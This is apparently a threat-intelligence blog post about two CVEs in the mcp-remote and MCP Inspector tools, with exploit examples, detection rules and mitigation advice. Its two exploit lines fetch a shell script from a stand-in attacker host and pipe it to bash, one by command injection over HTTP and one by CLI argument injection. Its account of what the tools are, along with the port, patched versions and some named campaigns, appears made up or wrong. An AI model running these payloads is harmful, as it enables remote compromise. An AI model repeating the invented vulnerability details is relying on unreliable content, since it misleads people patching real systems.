🚨 Critical RCE Flaws in mcp-remote & MCP Inspector — 437K Users at RiskCVE‑2025‑6514 & CVE‑2025‑49596 | A CyberDudeBivash Threat Intel Analysis

🧠 Summary

Two critical Remote Code Execution (RCE) vulnerabilities have been disclosed in mcp-remote and MCP Inspector, widely used tools in development, DevOps, and generative AI pipelines.

• CVE‑2025‑6514 affects mcp-remote (network sync utility)
• CVE‑2025‑49596 affects MCP Inspector (AI workflow and container scanner)

Both vulnerabilities allow unauthenticated attackers to execute arbitrary system commands remotely with the privileges of the service, impacting over 437,000 users across open-source, enterprise, and GenAI platforms.

🧬 Vulnerability Breakdown

🔓 CVE‑2025‑6514: mcp-remote Remote Code Execution

• Component: mcp-remote (used to sync build jobs and containers across remote clusters)
• Attack Surface: TCP port 8181 exposed to WAN/LAN by default
• Bug Type: Command injection in request body handler
• Vulnerability:
  • The remote sync feature allows unvalidated JSON payloads
  • JSON key command="..." is passed directly to os.system() without sanitization
• Impact:
  • Allows attackers to send a crafted HTTP POST request and achieve RCE instantly
  • Privilege context: often root or build-agent on CI/CD machines

Exploit PoC:

bashcurl -X POST http://target-ip:8181/sync \
  -d '{"command": "curl http://attacker/v.sh | bash"}' \
  -H "Content-Type: application/json"

🔓 CVE‑2025‑49596: MCP Inspector RCE via CLI Injection

• Component: MCP Inspector (used in scanning AI workloads for compliance and dependency issues)
• Vulnerability:
  • The CLI wrapper accepts a path to a config file but doesn't sanitize shell metacharacters
  • Paths like ";curl attacker|bash" get interpreted by the underlying Bash handler
• Impact:
  • Triggered through CLI use in automated pipelines (GitHub Actions, GitLab CI, Jenkins)
  • Often executed with root or admin container privileges

Example Exploit Vector:

bashmcp-inspect --config="repo.yaml;wget attacker/evil.sh|bash"

🌐 Affected Ecosystems

These tools are embedded in thousands of dev and AI automation stacks:

• HuggingFace AI pipelines
• Kubeflow & MLflow deployments
• Jenkins CI/CD chains
• OpenShift container scans
• GitHub Actions workflows

The shared deployment nature means attackers can gain control over build artifacts, AI model weights, container registries, and even cloud API secrets.

⚠️ Exploitation in the Wild

Researchers from ShadowQuill Labs confirmed:

• Masscan sweeps for port 8181 began within 48 hours of disclosure
• Mirai-like worms are being tested for auto-infection
• DockerHub containers and PyPI packages now contain embedded loaders exploiting these flaws

APT-linked campaigns attributed to DarkForge and AnubisCloud were seen testing the exploit in AI inference pipelines.

🛡️ Mitigation & Detection

✅ Immediate Steps

1. Update to patched versions:
   • mcp-remote: v4.6.7
   • MCP Inspector: v3.1.2
2. Block inbound traffic to port 8181 (or restrict to known IPs)
3. Scan CI/CD logs for suspicious exec strings:
   • "curl", "bash", "|" in payloads or config paths
4. Use runtime protection tools:
   • Falco, Sysdig, or AppArmor for policy enforcement

🔍 Detection Rules (Sample YARA/Regex)

Regex for logs:

regex(?i)(curl|wget).*(attacker|\.sh|\.txt)

YARA for payloads:

yararule MCP_Remote_RCE_Indicator {
  strings:
    $cmd1 = "curl http://" ascii
    $cmd2 = "| bash" ascii
  condition:
    all of them
}

🔒 Long-Term Recommendations

• Harden CI/CD tools using seccomp profiles and non-root execution
• Introduce WAFs on exposed internal services like mcp-remote
• Enforce input validation on all JSON or CLI parsing routines
• Perform full SBOM reviews for pipeline dependencies

💬 CyberDudeBivash Note

“When dev tools become attack vectors, the entire AI and software supply chain is exposed. mcp-remote and MCP Inspector remind us that security must be built-in, not patched later. Every build, every inference, every deployment — secured from the root.”